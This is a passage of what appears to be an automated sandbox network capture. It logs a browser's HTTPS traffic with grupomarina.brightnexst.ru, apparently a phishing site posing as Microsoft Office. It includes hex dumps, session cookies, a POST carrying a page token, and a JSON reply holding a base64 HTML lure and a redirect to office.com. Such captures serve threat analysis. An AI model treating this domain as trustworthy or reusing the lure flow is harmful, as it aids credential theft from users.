laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:15 UTC	1110	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mn7axJgNsfJZOnXe9HMLiMbkijOyTcCkXpGKdJddrqJTO29kXFFoLgmgRouv220" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q9LzRR%2FURcYD5xCkejSBuOSw25nRjzYL4%2FEMUFvs93StXNAbLSfxXzICgGT0Ym8UPqhND4%2BAm3hdoT55ZubI2c9JaCEh7t5dk%2BRvN8f8hR4dCPHP0x7WRc6hCWy7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=3871&min_rtt=2984&rtt_var=1752&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2372&delivery_rate=970509&cwnd=234&unsent_bytes=0&cid=be37d34275519002&ts=86&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63e01a6442fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1694&min_rtt=1642&rtt_var=721&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2032&delivery_rate=1414043&cwnd=179&unsent_bytes=0&cid=2a3fe9bb071a999b&ts=386&x=0"
2025-03-17 20:55:15 UTC	259	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 41 29 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 39 34 2e 32 20 31 38 31 35 2e 36 63 37 34 36 2e 35 38 20 30 20 31 33 35 31 2e 38 2d 34 39 33 2e 32 20 31 33 35 31 2e 38 2d 31 31 30 31 2e 36 53 31 31 34 30 2e 37 38 2d 33 38 37 2e 36 20 33 39 34 2e 32 2d 33 38 37 2e 36 2d 39 35 37 2e 36 20 31 30 35 2e 36 30 33 2d 39 35 37 2e 36 20 37 31 34 2d 33 35 32 2e 33 38 20 31 38 31 35 2e 36 20 33 39 34 2e 32 20 31 38 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 42 29 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 35 34 38 2e 36 20 31 38 38 35 2e 32 63 36 33 31 2e 39 32 20 30 20 31 31 34 34 2e 32 2d 34 31 37 2e 34 35 20 31 31 34 34 2e 32 2d 39 33 32 2e 34 53 32 31 38 30 2e 35 32 20 32 30 2e 34 20 31 35 34 38 2e 36 20 32 Data Ascii: 6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 2
2025-03-17 20:55:15 UTC	243	IN	Data Raw: 20 31 39 38 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 30 31 37 2e 36 20 31 32 34 39 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 64 38 33 62 30 31 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 2e 37 35 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 63 34 63 34 63 34 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 30 22 2f 3e 3c 2f 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 3e 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 45 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 30 20 30 68 31 39 32 30 76 31 30 38 30 48 30 7a 22 2f 3e 3c 2f 63 6c 69 70 50 61 74 68 3e 3c 2f 64 65 66 73 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: 198) rotate(90) scale(1017.6 1249.8)"><stop stop-color="#d83b01" stop-opacity=".75"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><clipPath id="E"><path fill="#fff" d="M0 0h1920v1080H0z"/></clipPath></defs></svg>
2025-03-17 20:55:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49752	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:15 UTC	1553	OUT	POST /yrhv76inSJaBVfGxBEwSxmLj7A0nIUCRosZ3LM0ORxbvHL4JE2FQRwo1v HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Content-Length: 55 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://grupomarina.brightnexst.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:15 UTC	55	OUT	Data Raw: 70 61 67 65 6c 69 6e 6b 3d 72 65 72 7a 25 32 42 34 56 39 46 4e 30 43 51 56 33 79 33 54 68 49 77 67 25 33 44 25 33 44 26 74 79 70 65 3d 34 26 61 70 70 6e 75 6d 3d 31 Data Ascii: pagelink=rerz%2B4V9FN0CQV3y3ThIwg%3D%3D&type=4&appnum=1
2025-03-17 20:55:15 UTC	1174	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:15 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mYI6SVBtSB%2BcDXOh2FQfKi5X5bFUv2H80S%2FIvS9KvI8GU7L6LEC9ffuFQxkMQbHB9hdgCeGgP8sOCIuu27%2F99sarCLvbMlyJqkqdCaTFG6Gotv4%2FPo4JH34NxXzV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1714&min_rtt=1250&rtt_var=766&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2518&delivery_rate=2305732&cwnd=251&unsent_bytes=0&cid=8c8129f47754c312&ts=91&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 22:55:15 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 20:55:15 UTC	785	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 52 6b 56 45 64 4e 56 33 56 68 54 6b 6f 32 54 6d 52 43 4d 7a 59 30 52 58 6c 6f 56 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 30 70 75 63 56 46 58 62 32 74 6d 62 58 56 4e 55 6c 49 76 4d 45 64 72 61 48 4a 59 52 48 4e 42 62 6c 46 61 5a 58 45 78 5a 47 34 79 55 47 51 7a 53 30 6c 78 57 56 64 53 4d 44 56 52 56 31 6b 30 51 54 46 6e 62 55 4d 78 52 33 4a 51 62 43 39 61 54 57 31 5a 54 6d 35 77 4e 31 64 36 5a 57 39 4a 56 31 4e 54 57 47 4a 4b 63 47 49 78 52 31 46 4a 5a 6e 51 34 54 58 42 45 54 6a 6c 76 52 44 59 78 4e 6b 39 32 63 48 64 35 63 47 52 6a 59 6c 64 34 54 54 52 53 59 54 52 78 55 6c 52 53 62 7a 5a 4a 65 54 42 56 55 31 70 4e 4d 46 49 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFI
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 39 64 38 0d 0a 7b 22 65 78 70 69 72 65 64 22 3a 30 2c 22 72 65 64 69 72 65 63 74 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6f 66 66 69 63 65 2e 63 6f 6d 5c 2f 3f 61 75 74 68 3d 32 22 2c 22 72 65 64 74 65 6d 70 22 3a 22 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 49 47 78 68 62 6d 63 39 49 6d 56 75 49 6a 34 4b 50 47 68 6c 59 57 51 2b 43 69 41 67 49 43 41 38 62 57 56 30 59 53 42 6a 61 47 46 79 63 32 56 30 50 53 4a 56 56 45 59 74 4f 43 49 2b 43 69 41 67 49 43 41 38 62 57 56 30 59 53 42 75 59 57 31 6c 50 53 4a 32 61 57 56 33 63 47 39 79 64 43 49 67 59 32 39 75 64 47 56 75 64 44 30 69 64 32 6c 6b 64 47 67 39 5a 47 56 32 61 57 4e 6c 4c 58 64 70 5a 48 52 6f 4c 43 42 70 62 6d 6c 30 61 57 46 73 4c 58 4e 6a 59 57 78 6c Data Ascii: 9d8{"expired":0,"redirecturl":"https:\/\/office.com\/?auth=2","redtemp":"PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxl
2025-03-17 20:55:15 UTC	1158	IN	Data Raw: 4a 76 62 6d 63 2b 49 45 4e 79 5a 57 46 30 5a 53 42 68 62 6d 51 67 5a 57 52 70 64 43 42 6b 62 32 4e 31 62 57 56 75 64 48 4d 67 61 57 34 67 63 6d 56 68 62 43 31 30 61 57 31 6c 4c 6a 77 76 62 47 6b 2b 43 69 41 67 49 43 41 67 49 43 41 67 50 47 78 70 50 6a 78 7a 64 48 4a 76 62 6d 63 2b 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 45 56 34 59 32 56 73 49 45 39 75 62 47 6c 75 5a 54 6f 38 4c 33 4e 30 63 6d 39 75 5a 7a 34 67 54 57 46 75 59 57 64 6c 49 48 4e 77 63 6d 56 68 5a 48 4e 6f 5a 57 56 30 63 79 42 68 62 6d 51 67 59 57 35 68 62 48 6c 36 5a 53 42 6b 59 58 52 68 4c 6a 77 76 62 47 6b 2b 43 69 41 67 49 43 41 67 49 43 41 67 50 47 78 70 50 6a 78 7a 64 48 4a 76 62 6d 63 2b 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 46 42 76 64 32 56 79 55 47 39 70 62 6e 51 67 54 32 35 73 61 Data Ascii: Jvbmc+IENyZWF0ZSBhbmQgZWRpdCBkb2N1bWVudHMgaW4gcmVhbC10aW1lLjwvbGk+CiAgICAgICAgPGxpPjxzdHJvbmc+TWljcm9zb2Z0IEV4Y2VsIE9ubGluZTo8L3N0cm9uZz4gTWFuYWdlIHNwcmVhZHNoZWV0cyBhbmQgYW5hbHl6ZSBkYXRhLjwvbGk+CiAgICAgICAgPGxpPjxzdHJvbmc+TWljcm9zb2Z0IFBvd2VyUG9pbnQgT25sa
2025-03-17 20:55:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49753	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:15 UTC	1179	OUT	GET /ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:16 UTC	865	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:16 GMT Content-Type: image/webp Content-Length: 1298 Connection: close Server: cloudflare Content-Disposition: inline; filename="ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9yXfkxpWIDj5qfxg25LHaJUPglSu%2BzR6TJzWKDHyoSTcDdhWHebc5ubzvoh7p%2FTzCnLtMl9bEg7L%2FP6ukzpRC7X9chOhIBnuCn690NFxXMHRlONM0uCeKRp3hNr7"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=4806&min_rtt=4756&rtt_var=1425&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2089&delivery_rate=581876&cwnd=249&unsent_bytes=0&cid=a79aa01802e9c1c0&ts=81&x=0" CF-RAY: 921f63e54d3760e6-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 20:55:16 UTC	504	IN	Data Raw: 52 49 46 46 0a 05 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 6b 00 00 17 00 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFFWEBPVP8X0kICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:16 UTC	794	IN	Data Raw: 5c 6d 7b dc b6 7a b3 f4 ca ff 89 b7 19 d0 01 ff 54 20 b8 02 51 15 90 aa 80 52 05 8c 2a 90 58 81 c9 0a 0c 55 60 a8 82 40 1d e0 0e db f8 fc 59 79 79 07 8a 3c 71 e6 ec 22 62 02 fe 61 fa f1 e6 e3 4b a6 5f f0 bb d1 a9 04 fb 12 6a 48 e9 92 2a 16 f0 cb 9d 7d 71 9b 0a 86 f8 05 c8 1e f2 ee d2 5e b0 2d f7 5c ef be 34 bf 20 26 8f 48 7e ae 71 99 f2 48 85 71 f0 27 be 74 c5 d6 70 af 87 ee 0b 30 29 c3 a8 c1 04 58 07 be f8 82 04 38 8c 2f b0 af db 1d 20 de 92 07 36 12 23 48 fd d6 59 97 bc b7 de 2f ba 8c f7 45 3e f7 23 bf 74 76 0c 80 f7 c5 39 05 5c 9d 70 35 18 de db f3 0d 95 68 84 9a e0 1c d0 c8 31 a1 7b 40 16 6b 5d 9a 28 31 df 09 b8 42 d7 89 f7 0b 90 eb 0e bd 03 0a 75 b7 6e 09 ae 02 d0 a5 3d ce b8 e2 e9 e9 73 58 a8 ab 01 2a 86 8a 49 d9 63 5d 72 0d e0 fc e1 53 b9 c7 ba e4 Data Ascii: \m{zT QRXU`@Yyy<q"baK_jH}q^-\4 &H~qHq'tp0)X8/ 6#HY/E>#tv9\p5h1{@k](1Bun=sX*Ic]rS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49755	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:16 UTC	1452	OUT	GET /uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:16 UTC	1071	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:16 GMT Content-Type: image/webp Content-Length: 644 Connection: close Content-Disposition: inline; filename="uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L1dktB%2FYjGUCZuWmJ6fYZ2qYtt0HNv%2BOoqUClUGOEc80KePGFgaYMeApB2%2BT%2FTtrHxRh75%2BR1zqpjRQ3jN5Crig0KoQRWLRwsgE0k5HAeJO3suWqpaH9vdhh7oIr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=6522&min_rtt=6008&rtt_var=2620&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2363&delivery_rate=482023&cwnd=240&unsent_bytes=0&cid=6c3473306f930f45&ts=87&x=0" Server: cloudflare CF-RAY: 921f63e55ff44240-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&min_rtt=1709&rtt_var=642&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2024&delivery_rate=1704611&cwnd=222&unsent_bytes=0&cid=3115f86be1721c67&ts=382&x=0"
2025-03-17 20:55:16 UTC	298	IN	Data Raw: 52 49 46 46 7c 02 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 17 00 00 17 00 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFF\|WEBPVP8X0ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:16 UTC	346	IN	Data Raw: 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 4b 00 00 00 01 57 60 24 92 d4 f4 9f 7a f9 80 22 0d 59 88 88 50 7d 30 3b 07 50 45 b2 92 47 0b 12 68 00 c6 06 8c 39 88 40 0a 8d 60 03 93 32 ef 8b 00 11 fd 9f 00 f4 3d Data Ascii: sRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPHKW`$z"YP}0;PEGh9@`2=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49754	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
